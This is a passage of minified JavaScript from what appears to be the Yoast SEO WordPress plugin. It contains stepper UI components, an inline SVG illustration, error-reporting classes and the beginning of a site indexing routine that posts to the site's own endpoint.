ll({children:e}){const{lastStepIndex:r,stepIndex:n,activeStepIndex:a}=sl();return(0,t.createElement)(l.Fragment,null,n!==r&&(0,t.createElement)(l.Fragment,null,(0,t.createElement)("div",{className:"yst--ml-px yst-absolute yst-left-4 yst-w-0.5 yst-h-full yst-bg-slate-300 yst--bottom-6","aria-hidden":"true"}),(0,t.createElement)("div",{className:`yst-h-12 yst-transition-transform ${rl} yst-ease-linear ${nl} ${n<a?"yst-scale-y-1":"yst-scale-y-0"} yst-origin-top yst--ml-px yst-absolute yst-left-4 yst-w-0.5 yst-bg-primary-500 yst-top-8`,"aria-hidden":"true"})),e)}function cl({id:e,message:r,className:n}){return(0,t.createElement)(Di,{id:e,type:"error",isVisible:!!r,className:n},(0,Ht.sprintf)(/* translators: %1$s expands to the error message returned by the server */
(0,Ht.__)("An error has occurred: %1$s","wordpress-seo"),r))}function ul({children:e}){const{activeStepIndex:r,stepIndex:n}=sl(),a=r===n,[s,o]=(0,l.useState)(a?"auto":0),[i,c]=(0,l.useState)(!a);return(0,l.useEffect)((()=>{a?(o("auto"),setTimeout((()=>c(!1)),Xi)):(c(!0),o(0))}),[a]),(0,t.createElement)(l.Fragment,null,(0,t.createElement)(Mi.Z,{id:`content-${n}`,delay:0===s?el:Qi,height:s,easing:"ease-in-out",duration:Ji},(0,t.createElement)("div",{className:`yst-transition-opacity ${tl} yst-relative yst-ml-12 yst-mt-4 yst-pb-1 ${i?"yst-opacity-0 yst-pointer-events-none":"yst-opacity-100"}`},e)))}function dl({children:e,setActiveStepIndex:r,activeStepIndex:n,isStepperFinished:a}){return(0,t.createElement)("ol",null,e.map(((s,o)=>(0,t.createElement)("li",{key:`${s.props.name}-${o}`,className:(o===e.length-1?"":"yst-pb-8")+" yst-mb-0 yst-relative yst-max-w-none"},(0,t.createElement)(al.Provider,{value:{stepIndex:o,activeStepIndex:n,setActiveStepIndex:r,lastStepIndex:e.length-1,isStepperFinished:a}},s)))))}ol.propTypes={beforeGo:Wr().func,children:Wr().node,destination:Wr().oneOfType([Wr().number,Wr().oneOf(["first","last"])])},ol.defaultProps={beforeGo:null,children:(0,t.createElement)(l.Fragment,null,(0,Ht.__)("Continue","wordpress-seo")),destination:1},il.propTypes={children:Wr().node},il.defaultProps={children:(0,t.createElement)(l.Fragment,null,(0,Ht.__)("Edit","wordpress-seo"))},ll.propTypes={children:Wr().node.isRequired},cl.propTypes={id:Wr().string.isRequired,message:Wr().string.isRequired,className:Wr().string},cl.defaultProps={className:""},ul.propTypes={children:Wr().node.isRequired},dl.propTypes={setActiveStepIndex:Wr().func.isRequired,activeStepIndex:Wr().number.isRequired,isStepperFinished:Wr().bool,children:Wr().node.isRequired},dl.defaultProps={isStepperFinished:!1},ll.Content=ul,ll.Error=cl,ll.Header=Ki,ll.GoButton=ol,ll.EditButton=il;const pl={optimizeSeoData:"optimizeSeoData",siteRepresentation:"siteRepresentation",socialProfiles:"socialProfiles",personalPreferences:"personalPreferences"},ml={[pl.optimizeSeoData]:"data optimization",[pl.siteRepresentation]:"site representation",[pl.socialProfiles]:"social profiles",[pl.personalPreferences]:"personal preferences"};function fl({stepId:e,beforeGo:r,children:n,additionalClasses:a,...s}){return(0,t.createElement)(ll.GoButton,{id:`button-${e}-continue`,variant:"primary",className:a,destination:1,beforeGo:r,"data-hiive-event-name":`clicked_continue | ${ml[e]}`,...s},n)}function yl({stepId:e,beforeGo:r,isVisible:n,children:a,additionalClasses:s,...o}){const i=`yst-transition-opacity ${zi.slideDuration} yst-ease-out ${n?"yst-opacity-100":`${zi.delayBeforeOpening} yst-opacity-0 yst-pointer-events-none yst-hidden`}`;return(0,t.createElement)(ll.GoButton,{id:`button-${e}-edit`,variant:"secondary",size:"small",className:cr()(i,s),destination:0,beforeGo:r,"data-hiive-event-name":`clicked_edit | ${ml[e]}`,...o},a)}function hl({stepId:e,beforeGo:r,children:n,additionalClasses:a,...s}){return(0,t.createElement)(ll.GoButton,{id:`button-${e}-back`,variant:"secondary",className:a,destination:-1,beforeGo:r,"data-hiive-event-name":`clicked_go_back | ${ml[e]}`,...s},n)}function gl({stepId:e,beforeContinue:r,continueLabel:n,beforeBack:a,backLabel:s}){return(0,t.createElement)("div",{className:"yst-mt-12"},(0,t.createElement)(fl,{stepId:e,beforeGo:r},n),(0,t.createElement)(hl,{stepId:e,additionalClasses:"yst-ml-3",beforeGo:a},s))}function vl({stepId:e,stepperFinishedOnce:r,saveFunction:n,setEditState:a}){const s=(0,l.useCallback)((async()=>{const e=await n();return a(!e),e}),[n]);return r?(0,t.createElement)(ll.GoButton,{id:`button-${e}-go`,variant:"primary",className:"yst-mt-12",destination:"last",beforeGo:s,"data-hiive-event-name":`clicked_save_changes | ${ml[e]}`},(0,Ht.__)("Save changes","wordpress-seo")):(0,t.createElement)(gl,{stepId:e,beforeContinue:n,continueLabel:(0,Ht.__)("Save and continue","wordpress-seo")})}var bl,wl,El,xl,Sl,_l,kl,Rl,Cl,Pl,Nl,Ol,Tl,Ll,Il,Ml,Al,Dl,Fl,jl,zl,Ul,$l,ql,Bl,Hl,Vl,Zl,Wl,Gl,Yl,Kl,Jl,Ql,Xl,ec,tc,rc,nc,ac,sc,oc,ic,lc,cc,uc,dc,pc,mc,fc,yc;function hc(){return hc=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},hc.apply(this,arguments)}fl.propTypes={stepId:Wr().string.isRequired,additionalClasses:Wr().string,beforeGo:Wr().func,children:Wr().node},fl.defaultProps={additionalClasses:"",beforeGo:null,children:null},yl.propTypes={stepId:Wr().string.isRequired,additionalClasses:Wr().string,isVisible:Wr().bool,beforeGo:Wr().func,children:Wr().node},yl.defaultProps={additionalClasses:"",isVisible:!0,beforeGo:null,children:null},hl.propTypes={stepId:Wr().string.isRequired,additionalClasses:Wr().string,beforeGo:Wr().func,children:Wr().node},hl.defaultProps={additionalClasses:"",beforeGo:null,children:null},gl.propTypes={stepId:Wr().string.isRequired,beforeContinue:Wr().func,continueLabel:Wr().string,beforeBack:Wr().func,backLabel:Wr().string},gl.defaultProps={beforeContinue:null,continueLabel:(0,Ht.__)("Continue","wordpress-seo"),beforeBack:null,backLabel:(0,Ht.__)("Go back","wordpress-seo")},vl.propTypes={stepId:Wr().string.isRequired,stepperFinishedOnce:Wr().bool.isRequired,saveFunction:Wr().func.isRequired,setEditState:Wr().func.isRequired};const gc=e=>t.createElement("svg",hc({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 262.37 284.15"},e),bl||(bl=t.createElement("path",{fill:"#f0ecf0",d:"M262.37 153A131.19 131.19 0 1 0 54.71 259.56a28.08 28.08 0 0 1 1.91-7.37c2-4.92-12.06-11.1-7.52-26.48 3.49-11.81 30.9-25.16 37.1-41.56 2.4-6.32 12-30.34 29.69-35.66 9-2.7 48.29-13.29 60.25-11.07s37.48 11 31.66 41.46c-10.26 53.79-44.8 59.12-46.28 94.64a27.46 27.46 0 0 0 .65 6.94A131.23 131.23 0 0 0 262.37 153Z"})),wl||(wl=t.createElement("path",{fill:"#006531",d:"M161.52 273.52c1.44-35.53 36-40.85 46.28-94.64 5.82-30.51-19.7-39.25-31.66-41.46s-51.23 8.37-60.25 11.07c-17.72 5.32-27.29 29.34-29.69 35.66-6.2 16.4-33.61 29.75-37.1 41.56-4.54 15.38 9.53 21.56 7.52 26.48a28.08 28.08 0 0 0-1.91 7.37 131.71 131.71 0 0 0 12.68 8.05 184.18 184.18 0 0 1 7.18-34.05c-4.12-2.43-8.32-4-19.15-2.33 16.06-23.66 34.79-45.11 64.9-65.12 2.54 22.59 3.65 40.75 14.49 60-14.93-3.2-25.12 0-32 4.77a103.74 103.74 0 0 0-4.6 49.12 132 132 0 0 0 64 .49 27.23 27.23 0 0 1-.69-6.97Z"})),El||(El=t.createElement("path",{fill:"#89bc3b",d:"M102.8 230.9c6.89-4.73 17.08-8 32-4.77-10.84-19.27-12-37.43-14.49-60-30.11 20-48.84 41.46-64.9 65.12 10.83-1.66 15-.1 19.15 2.33a184.18 184.18 0 0 0-7.18 34A130.42 130.42 0 0 0 98.21 280a103.65 103.65 0 0 1 4.59-49.1Z"})),xl||(xl=t.createElement("path",{fill:"#093f22",d:"M61.29 184.66c-4.39 13.11-15 33.6-14.52 47.42 11.9-18 34.83-42.28 46.73-60.26 2.69-4.08 1.49-10.8-3.21-13.29-3.83-2-8.45-.15-11.7 1.92-8.3 5.28-14.21 14.98-17.3 24.21Zm72.61 58.65 18.32-60.92s.51 11.07 1.1 9.3 16.4-28.8 16.4-28.8l-28.14 81Z"})),Sl||(Sl=t.createElement("path",{fill:"#006531",d:"M169.31 113.64c.71 13.17 6.24 22.36 5.36 25.68-33.67 6.42-49.16 29.46-54 28.88-6.67-3.85-5.76-14.39-5.54-17.71 3.55-6.65-.12-17.65 1.77-23.89 1.4-4.6 9.38-12.6 18.1-14.53s33.93-5.54 34.31 1.57Z"})),_l||(_l=t.createElement("path",{fill:"#b498c6",d:"M122.32 166.11c6.09-9.75 11.1-30.31 14.62-33.9 3.33-3.39 22.1-12 26.12-13.51 1.56-1.22 2-2.55 2.09-6.65l.23-19.82-45.16 16.39 2.53 37.22c.67 5.09.35 10.08-.43 20.27Z"})),kl||(kl=t.createElement("path",{fill:"#8b6c9c",d:"m166.15 92.89-.64 7.17c-.94 12.77-25.4 31.3-38.1 30.12-4.6-.42-5.78-10.38-7.39-15.06l-2.61-9.52Z"})),Rl||(Rl=t.createElement("path",{fill:"#b498c6",d:"M157.71 192S128 247.74 126 254s-.23 13.67 4.49 15.24 16.51.6 24.27-7.47c5.9-6.14 28.74-39.14 29.45-39.85.06-13.3-7.49-22.14-26.5-29.92Z"})),Cl||(Cl=t.createElement("ellipse",{cx:106.71,cy:192.91,fill:"#fbb03b",stroke:"#fc3",strokeMiterlimit:10,rx:8.8,ry:5.58,transform:"rotate(-19.17 106.716 192.914)"})),Pl||(Pl=t.createElement("path",{fill:"#f19018",d:"M92.72 206.13c4.25-1.18 9.78-1.68 17-1.26-6.39 3.89-15.24 15.48-15.51 17.65a87.16 87.16 0 0 1 11-1.88c-16 10.81-23.79 31.12-22.85 30.75-1.24.41-3.63-21.77 6.06-31.06a32.05 32.05 0 0 0-7.73 1.1c1.68-4.03 6.97-11.62 12.03-15.3Z"})),Nl||(Nl=t.createElement("path",{fill:"#fbb03b",stroke:"#fc3",strokeMiterlimit:10,d:"M92.72 206.13c4.25-1.18 9.78-1.68 17-1.26-6.39 3.89-15.24 15.48-15.51 17.65a87.16 87.16 0 0 1 11-1.88c-16 10.81-23.79 31.12-22.85 30.75-1.24.41-3.63-21.77 6.06-31.06a32.05 32.05 0 0 0-7.73 1.1c1.68-4.03 6.97-11.62 12.03-15.3Z"})),Ol||(Ol=t.createElement("path",{fill:"#006531",d:"M183.45 223.15c-3.73-9.11-19.27-19.94-31.68-20.38 7.54-16.39 11.46-29.12 19.31-42.24 0 0-5.74-22.74-1-22.2 8.52 1 19-7.56 33.67-4.23 14.25 3.23 20.27 23.26 17 38-4.47 19.9-40.04 54.49-37.3 51.05Z"})),Tl||(Tl=t.createElement("path",{fill:"#8b6c9c",d:"M80 254.38C77.79 252.17 71.81 244 65.6 244s-33 6.87-33 6.87l-.45 9.3s16.69 1.77 19.94 2.22 16-3.55 16-3.55Z"})),Ll||(Ll=t.createElement("path",{fill:"#8b6c9c",d:"M72.14 260.36c-12.31-.11-23.45 6.28-26.55 5.39-4.1-1.33-4.21.82-6.64.59s-6.7-3.65-6.7-3.65l.12-12.3 39 7.09Z"})),Il||(Il=t.createElement("path",{fill:"#8b6c9c",d:"M50.63 262.9c-4.43-2.21-15.73 4.28-17.74 2.71-4.64-3.65-8.27-6.21-9.3-8.42s2.47-5.91 1.59-16.1c-.44-5.07 4.31-5.32 6.09-1.33.93 2.1 1.33 13.51 1.33 13.51l7.63 2.1Z"})),Ml||(Ml=t.createElement("path",{fill:"#b498c6",d:"M100.38 163.12c.89 4-22.61 60.35-31.91 76.3S40.9 257.36 40.9 257.36s-14.48-.79-9.17-22.05 24.47-27.82 31.55-37.42 20.27-29 20.27-33.45c0-3.1 15.95-5.31 16.83-1.32Z"})),Al||(Al=t.createElement("path",{fill:"#8b6c9c",d:"M100.48 163.09a3.78 3.78 0 0 1 0 .95 9.1 9.1 0 0 1-.16.91c-.12.6-.29 1.19-.44 1.78-.33 1.17-.69 2.34-1.06 3.5-.76 2.32-1.56 4.62-2.38 6.92Q94 184 91.28 190.83q-5.4 13.59-11.26 27-2.92 6.71-6 13.34A63.91 63.91 0 0 1 66.55 244 35.8 35.8 0 0 1 55 253.26a38.85 38.85 0 0 1-14.07 4.2v-.2a41.07 41.07 0 0 0 6.94-2.09 39.27 39.27 0 0 0 6.44-3.17A35.56 35.56 0 0 0 65 242.71a26.19 26.19 0 0 0 2-2.9c.66-1 1.22-2.05 1.8-3.1q1.74-3.18 3.36-6.44c2.2-4.33 4.31-8.71 6.37-13.12q6.14-13.23 11.79-26.7 2.85-6.72 5.53-13.51c.88-2.27 1.74-4.55 2.56-6.84.4-1.14.79-2.29 1.15-3.46.17-.58.35-1.16.48-1.75a6.54 6.54 0 0 0 .18-.88 3.19 3.19 0 0 0 .06-.87Z"})),Dl||(Dl=t.createElement("path",{fill:"#8b6c9c",d:"M98.61 166.22s10.4-10 11.73-14c1.78-5.31-.21-15.41 2.56-22.17 1.13-2.77 5-12.4 5.3-13.28s-3.13-2.36-4.76-1.77a17.06 17.06 0 0 0-6.26 5.61c-1.33 2.22-.68 10.15-4.37 11.34s-18.23 10.61-18.38 17.4.44 11.85 14.18 16.87Z"})),Fl||(Fl=t.createElement("path",{fill:"#8b6c9c",d:"m100.38 163.12 8.42-13.74-13.74-19s4.35-12 5.09-16.39 3.84-11.14.56-18.17c-2.12-4.55-4.79-5-5.09-2.1s-1.16 13.72-2.62 17.12-8.08 14.62-8.08 14.62l-12.4 14.62Z"})),jl||(jl=t.createElement("path",{fill:"#b498c6",d:"M138.58 5.48c-20.7-.38-38 19.23-39.7 21.63-1.34 1.94-5.06 12-6.58 19.34.42-1.33.87-2.62 1.33-3.85 13.19-6.56 37.64-4.79 70.11 2.89 1.75 6.74 1.36 12.38 1.15 20.18 0 0-15.4 8.58-24.28 9.94-7.5 1.16-11.68-1.37-14.5-3.62-4-3.18-7.61-9.22-13.15-9.67-5.81-.47-7.83 9.3-10.72 9-1.73-.18-7.25.7-9.63 2.76a34.28 34.28 0 0 0-.24 9.16c1.25 5.91 5.63 11.61 8.16 14.52s4.19 11.43 8.45 15.76c9.81 9.93 47-6.94 55.48-17.25 3.75-4.53 8.8-28 8.8-28s10.52-10.21 10.46-16.87c-.21-22.82-17.07-45.4-45.14-45.92Z"})),zl||(zl=t.createElement("path",{fill:"#fcee21",d:"M92.41 51.14a78.25 78.25 0 0 1 .88-8.53C83.1 69 92.42 74.26 92.61 74.09a39.64 39.64 0 0 1 2.9-8.67s-3.36-7.58-3.1-14.28Z"})),Ul||(Ul=t.createElement("path",{fill:"#fbb03b",d:"M102.24 71.33c2.89.29 4.91-9.48 10.72-9 5.54.45 9.14 6.49 13.15 9.67 2.82 2.25 7 4.78 14.5 3.62 8.88-1.36 24.28-9.94 24.28-9.94.21-7.8.6-13.44-1.15-20.18-32.47-7.69-56.92-9.5-70.11-2.9-.89 2-1.63 13.3-1.63 13.3-.3 5 .89 6.64 3.47 9.52a42 42 0 0 0-2.82 8.67c2.35-2.09 7.86-2.94 9.59-2.76Z"})),$l||($l=t.createElement("path",{fill:"#89bc3b",d:"M156 194.13c7.53-.89 21.71 6.87 26.81 12.62 14.42-12.32 25.39-37.37 27.91-45.19 6.64-20.6-11.52-28.35-11.52-28.35l2.44.66s18.38 5.76 14.84 31.9c-1.24 9.13-14.64 33.72-28.8 46.3.89 1.55 2.22 3.32 2.66 4.87l-6.65 6.43c-2.66-8.42-22.81-20.82-31.9-20.6Z"})),ql||(ql=t.createElement("path",{fill:"#b498c6",d:"M86.65 168.87c-.89-1.32-17.89-25.57-18.34-28.67s4.69-7.7 6.13-7c9.64 4.61 24.21 17.67 26 22.1s-.71 11.59-.71 11.59Zm-8.86-38.1s12.14-11.89 15.09-12 10.11 6 13.11 7.91c3.2 2 3.87 7.13 8.23 10.45.44 2.07-2.22 3.42-5.62 2.39s-7.34-6.81-7.34-6.81l-7.12-3.46-8.38 6.88Z"})),Bl||(Bl=t.createElement("path",{fill:"#b498c6",d:"M74.24 133s11.93-9 13.4-9 12.38 7.59 13.42 9.22 1.88 8.59 3.75 14.86c.65 2.17-3.28 5.17-6.53 1.33s-4.77-10.32-4.77-10.32l-7.33-4.61-5.29 3.85Z"})),Hl||(Hl=t.createElement("path",{fill:"#8b6c9c",d:"M84.58 124.87a4.75 4.75 0 0 1 3-1.15 7.83 7.83 0 0 1 3.22.82 21.82 21.82 0 0 1 2.69 1.76c.86.62 1.71 1.25 2.56 1.89a47.7 47.7 0 0 1 4.94 4.14 4.21 4.21 0 0 1 .55.71 5.87 5.87 0 0 1 .36.81c.18.53.33 1.05.46 1.57.26 1 .48 2.08.7 3.12.44 2.07.87 4.14 1.37 6.19.25 1 .53 2 .82 3a2.42 2.42 0 0 1 .12 1 2.36 2.36 0 0 1-.26.93 3.58 3.58 0 0 1-1.21 1.34 4 4 0 0 1-3.47.47 5.93 5.93 0 0 1-2.73-2.06 12.37 12.37 0 0 1-2.52-5.93 36.66 36.66 0 0 0 3.3 5.3 5 5 0 0 0 2.26 1.74 3 3 0 0 0 2.6-.35 1.93 1.93 0 0 0 1-2.16c-.3-1-.58-2.06-.83-3.09-.51-2.07-.94-4.15-1.38-6.22-.22-1-.44-2.07-.69-3.08-.13-.51-.27-1-.43-1.49a2.76 2.76 0 0 0-.7-1.17 49.75 49.75 0 0 0-4.81-4c-.84-.63-1.69-1.26-2.55-1.88s-1.75-1.16-2.57-1.8a6.81 6.81 0 0 0-2.78-1.11 4.77 4.77 0 0 0-3.02.7Z"})),Vl||(Vl=t.createElement("path",{fill:"#b498c6",d:"M72.62 133.87s5-4.31 6.43-4.66c2.52-.63 12.51 5.9 13.36 7.77 1.31 2.91 2.2 7.57 3.87 11.4.9 2.06-2.84 2.15-5.49.53s-3.57-6.71-3.57-6.71c-2.51-1.89-4.82-2.52-6.54-3.69-.3 2.47-2.6 5.07-7 8.07Z"})),Zl||(Zl=t.createElement("path",{fill:"#8b6c9c",d:"M79.05 129.21a5.63 5.63 0 0 1 2.7.27c.88.26 1.73.57 2.58.91a28.34 28.34 0 0 1 4.81 2.54c.77.48 1.53 1 2.27 1.52a12.53 12.53 0 0 1 2.14 1.84 2.76 2.76 0 0 1 .45.71c.09.21.17.44.24.66a12.73 12.73 0 0 1 .38 1.34c.21.9.37 1.8.52 2.68a38.28 38.28 0 0 0 1.15 5.2c.13.41.29.82.46 1.22a2.2 2.2 0 0 1 .2.84 1.33 1.33 0 0 1-.37 1 2.48 2.48 0 0 1-1.56.62 6 6 0 0 1-1.47-.08 8.62 8.62 0 0 1-2.69-.94 5.84 5.84 0 0 1-2.1-2 15.27 15.27 0 0 1-2-5.2l.19.31a9.76 9.76 0 0 0-2.57-1.41 12.13 12.13 0 0 1-3-1.25l.74-.19a14 14 0 0 1-2.58 2.75 8.41 8.41 0 0 0-2.18 2.84 8.13 8.13 0 0 1 1.78-3.21 14.17 14.17 0 0 0 2.08-2.85l.23-.52.5.33a5.89 5.89 0 0 0 1.27.66l1.46.5a10.54 10.54 0 0 1 2.83 1.55l.15.11v.2a14.16 14.16 0 0 0 1.83 4.84 4.89 4.89 0 0 0 1.75 1.69 7.75 7.75 0 0 0 2.38.83 5 5 0 0 0 1.22.06 1.54 1.54 0 0 0 .92-.31c.13-.13.14-.32 0-.72s-.35-.86-.49-1.3a36.1 36.1 0 0 1-1.18-5.34c-.15-.88-.31-1.76-.51-2.61a13 13 0 0 0-.35-1.26 3.72 3.72 0 0 0-.49-1 11.48 11.48 0 0 0-1.94-1.67c-.72-.52-1.46-1-2.22-1.48-1.5-1-3.1-1.75-4.62-2.68-.78-.44-1.57-.86-2.38-1.22a5.79 5.79 0 0 0-2.53-.78Z"})),Wl||(Wl=t.createElement("path",{fill:"#006531",d:"M167.62 84.35c22.06 1.45 35.92 5.68 36.5-3.92S197.69 6.63 141.9.54C89-5.24 83.2 37.33 82.73 45s7.68 8.3 7.68 8.3c.22-4 2.07-7.82 3.22-10.71 15.18-4.88 64.17 1.48 67.52 6.22s.8 13 1.47 16.45 9.68 6.8 9.68 6.8Z"})),Gl||(Gl=t.createElement("path",{fill:"#093f22",d:"M202.05 84.6c2.39-1.92-8.89-16.64-20.3-20.87l-6 7.31-.26 12.81c7.99 2.15 22.68 3.88 26.56.75Z"})),Yl||(Yl=t.createElement("path",{fill:"#b498c6",d:"M180.18 72.06c3.68 2.46 4 8.69 2.45 12.56s-10.89 10.8-13.28 11.15a26.88 26.88 0 0 1-5.15-.2L171 71.7s5.51-2.1 9.18.36Z"})),Kl||(Kl=t.createElement("path",{fill:"#191a1a",d:"M165.72 67.49s-13.58 37.88-20.45 41.87c1 1 7.06-1.52 9-3.51 3.55-2.44 16.85-34.8 16.85-34.8Z"})),Jl||(Jl=t.createElement("path",{fill:"#093f22",d:"M136.35 21.41c-1.17-2.11 21.15-11.14 32.7-11.14 2.66 0 10.64 6.2 11.52 9.74-15.29-.23-43.05 3.5-44.22 1.4Zm4.82 11.1c-.92-3 31.73-6.14 43.24-3.93 6.28 1.2 8.82 13.26 4.14 11.81-12.21-3.78-46.78-5.97-47.38-7.88ZM99.94 23c2.07-.89.29-4.14-1.48-10.93a19.93 19.93 0 0 0-7.35 7.62s6.76 4.16 8.83 3.31Zm-5.66 8.72c.18-1.29-5.85-5.57-6.48-4.62a17.56 17.56 0 0 0-2.94 8.78s9.23-2.88 9.42-4.16Z"})),Ql||(Ql=t.createElement("path",{fill:"#fcee21",d:"M95.9 65.56c4.07.42 7.79 1.24 12.23-1 0 0-4-8.79-8.72-8s-3.51 9-3.51 9Z"})),Xl||(Xl=t.createElement("path",{fill:"#f15a24",d:"M108.08 64.63c-5.34-9-13.34-9.9-12.12.92-.49.07-1.34-1.88-1.61-2.93-1.29-5.79 4.65-9.51 9.59-5.14 3.17 2.79 4.45 7.01 4.14 7.15Z"})),ec||(ec=t.createElement("path",{fill:"#f15a24",d:"M106.93 52c1.27.52 2.88 4 1.65 3.5A18.34 18.34 0 0 0 92 57.38c.7-5.91 13-6.22 14.93-5.38Z"})),tc||(tc=t.createElement("path",{fill:"#8b6c9c",d:"M121.12 71.07c.66 1.59 1.38 3.39-.41 4.53s-4.33-2-5.87-1.57-3.88 2.72-5.55 2.41c-3.52-.66-3.15-3.48-3.15-3.48s-1.61 5.55 4 5.62c3.81 0 4.23-2.58 7.44-2.27s3.46 2.53 4.89 1.61c2.88-1.82.31-6.69-1.35-6.85Z"})),rc||(rc=t.createElement("path",{fill:"#8b6c9c",d:"M106.73 75.68s-2.65.74-1.19 2.49c-3.18 0-3.08-4.59-1.32-6-.75 2.66 2.51 3.51 2.51 3.51Z"})),nc||(nc=t.createElement("ellipse",{cx:98.36,cy:62.94,fill:"#f15a24",rx:3.53,ry:3.42,transform:"rotate(-5.96 98.33 62.903)"})),ac||(ac=t.createElement("path",{fill:"#8b6c9c",d:"M138.73 83.69c-8.66 7.53-14.4 12.67-22.62 13-9.3.32-7.2-7.2-7.2-7.2s.85-2.54 5.63-2.77 20.66-2.78 24.19-3.03Z"})),sc||(sc=t.createElement("path",{fill:"#4b3f51",d:"M108.91 89.78c.34-.46 1.86-1.93 2.29-1 1.92 3.93 8.45 1.71 28.05-5.2-15 2.26-17.88.24-20.85.48s-3.62 1.67-4.72 1.45-3.43-1.68-4.73-1.1c-3.03 1.27-2.05 3.67-.04 5.37Z"})),oc||(oc=t.createElement("path",{fill:"#8b6c9c",d:"M132.64 76.68c1.08 1.47 9.51 5.88 9.51 5.88a60.71 60.71 0 0 1-2.89 6.3c.41 0 1.39-5-.85-6.64-1.72-1.22-4.64-2.58-5.77-5.54Z"})),ic||(ic=t.createElement("path",{fill:"#b498c6",d:"M65.82 248.62c-4.13-.44-11-7.38-15.72-6.64s-9.53 5.31-9.53 5.31-12.7-4.87-16.84-4-9.45 2.36-10.63 3.54-.59 5.91 2.22 5.76 6.05-1 9.3-.44 8.73 6.36 12.41 8c14.17 6.2 29.24.44 29.24.44s3.73-11.52-.45-11.97Z"})),lc||(lc=t.createElement("path",{fill:"#8b6c9c",d:"M64.15 248c-2.62.11-5-1.72-6.28-2.59-3.86-2.56-4.62-2.62-19.34 1.45-5.79-2.69-4.72-1.58-7.88-2.74a18.46 18.46 0 0 1 8.14 1.76c-.64 0 13-5.16 16.5-3.92s6.23 5.3 8.86 6.04Z"})),cc||(cc=t.createElement("path",{fill:"#093f22",d:"M90.49 53.46a87 87 0 0 1 3.14-10.86c19.79-3.78 64.81 2.3 67.52 6.22s1.23 13.54 1.18 16.09 8.72 6.72 8.72 6.72l4.57-.74s-8.51-2.28-8.66-6.71 1.56-16.78-3.22-18.69c-29.19-11.62-64.36-8.8-72.53-6.65-6.5 1.7-9.09 6.62-7.44 10.27s6.72 4.35 6.72 4.35Zm70 24.59 7.38 2.95-3.99 9.31-7.34-2.07 3.95-10.19z"})),uc||(uc=t.createElement("path",{fill:"#b498c6",d:"M153.33 236.52c-10.63-4-31.44 3.41-44.53 5.89-29.24 5.53-37.33 5.55-44.09 6-5 .33-3.44 8.5-2.43 12.17 34.11 6.21 41.2 8.42 72 8.92 22.36-5.62 29.72-28.99 19.05-32.98Z"})),dc||(dc=t.createElement("path",{fill:"#8b6c9c",d:"M131.58 242.4c.39-2 .09-3.41.48-5.52l2.21-.22a53.48 53.48 0 0 0-2.69 5.74Z"})),pc||(pc=t.createElement("path",{fill:"#fc3",d:"M148.89 45c2 6.65 5.32 17.43 2.44 27.4-2.29 1-10 3.61-12.33 3.39.66-5.76.44-23.11-3.77-32.64 2.31.14 8.22 1.03 13.66 1.85Z"})),mc||(mc=t.createElement("path",{fill:"#fcee21",d:"M145.22 62.31c-3.94 1.59-12.14 3.79-17.43 1.19 0 0-1.22-9.33 5.51-8.76s11.92 7.57 11.92 7.57Z"})),fc||(fc=t.createElement("path",{fill:"#f15a24",d:"M127.69 63.52c-1.85-4-.92-8.41 4.11-9.48 4.24-.75 11.08 1.85 13.5 8.21-.29.22-7.6-8.06-14-6.15-4.44 1.33-3.13 7.35-3.61 7.42Zm-4.81-17.78c-1.23.51.14 4 1.3 4.36s9.23-2.79 12.1-2.41 8.81 4.79 11.58 7c-.44-1.88-7.92-9.3-10.88-9.92s-12.87.45-14.1.97Z"})),yc||(yc=t.createElement("ellipse",{cx:131.8,cy:60.56,fill:"#f15a24",rx:3.76,ry:3.99,transform:"rotate(-5.96 131.772 60.6)"}))),vc=window.yoast.helpers;class bc extends Error{constructor(e,t,r,n,a){super(e),this.name="RequestError",this.url=t,this.method=r,this.statusCode=n,this.stackTrace=a}}const{stripTagsFromHtmlString:wc}=vc.strings,Ec=["a","p"];function xc({title:e,value:r}){return r?(0,t.createElement)("p",null,(0,t.createElement)("strong",null,e),(0,t.createElement)("br",null),r):null}function Sc({title:e,value:r}){return r?(0,t.createElement)("details",null,(0,t.createElement)("summary",null,e),(0,t.createElement)("pre",{className:"yst-overflow-x-scroll yst-max-w-[500px] yst-border-px yst-p-4"},r)):null}function _c({message:e,error:r,className:n}){return(0,t.createElement)(Ai,{type:"error",className:n},(0,t.createElement)("div",{dangerouslySetInnerHTML:{__html:wc(e,Ec)}}),(0,t.createElement)("details",null,(0,t.createElement)("summary",null,(0,Ht.__)("Error details","wordpress-seo")),(0,t.createElement)("div",{className:"yst-mt-2"},(0,t.createElement)(xc,{title:(0,Ht.__)("Request URL","wordpress-seo"),value:r.url}),(0,t.createElement)(xc,{title:(0,Ht.__)("Request method","wordpress-seo"),value:r.method}),(0,t.createElement)(xc,{title:(0,Ht.__)("Status code","wordpress-seo"),value:r.statusCode}),(0,t.createElement)(xc,{title:(0,Ht.__)("Error message","wordpress-seo"),value:r.message}),(0,t.createElement)(Sc,{title:(0,Ht.__)("Response","wordpress-seo"),value:r.parseString}),(0,t.createElement)(Sc,{title:(0,Ht.__)("Error stack trace","wordpress-seo"),value:r.stackTrace}))))}xc.propTypes={title:Wr().string.isRequired,value:Wr().any},xc.defaultProps={value:""},Sc.propTypes={title:Wr().string.isRequired,value:Wr().string},Sc.defaultProps={value:""},_c.propTypes={message:Wr().string.isRequired,error:Wr().oneOfType([Wr().instanceOf(Error),Wr().instanceOf(bc)]).isRequired,className:Wr().string},_c.defaultProps={className:""};class kc extends Error{constructor(e,t){super(e),this.name="ParseError",this.parseString=t}}const Rc="idle",Cc="in_progress",Pc="errored",Nc="completed";class Oc extends l.Component{constructor(e){super(e),this.settings=yoastIndexingData,this.state={state:Rc,processed:0,error:null,amount:parseInt(this.settings.amount,10),firstTime:"1"===this.settings.firstTime},this.startIndexing=this.startIndexing.bind(this),this.stopIndexing=this.stopIndexing.bind(this)}async doIndexingRequest(e,t){const r=await fetch(e,{method:"POST",headers:{"X-WP-Nonce":t}}),n=await r.text();let a;try{a=JSON.parse(n)}catch(e){throw new kc("Error parsing the response to JSON.",n)}if(!r.ok){const t=a.data?a.data.stackTrace:"";throw new bc(a.message,e,"POST",r.status,t)}return a}async doPreIndexingAction(e){"function"==typeof this.props.preIndexingActions[e]&&await this.props.preIndexingActions[e](this.settings)}async doPostIndexingAction(e,t){"function"==typeof this.props.indexingActions[e]&&await this.props.indexingActions[e](t.objects,this.settings)}async doIndexing(e){let 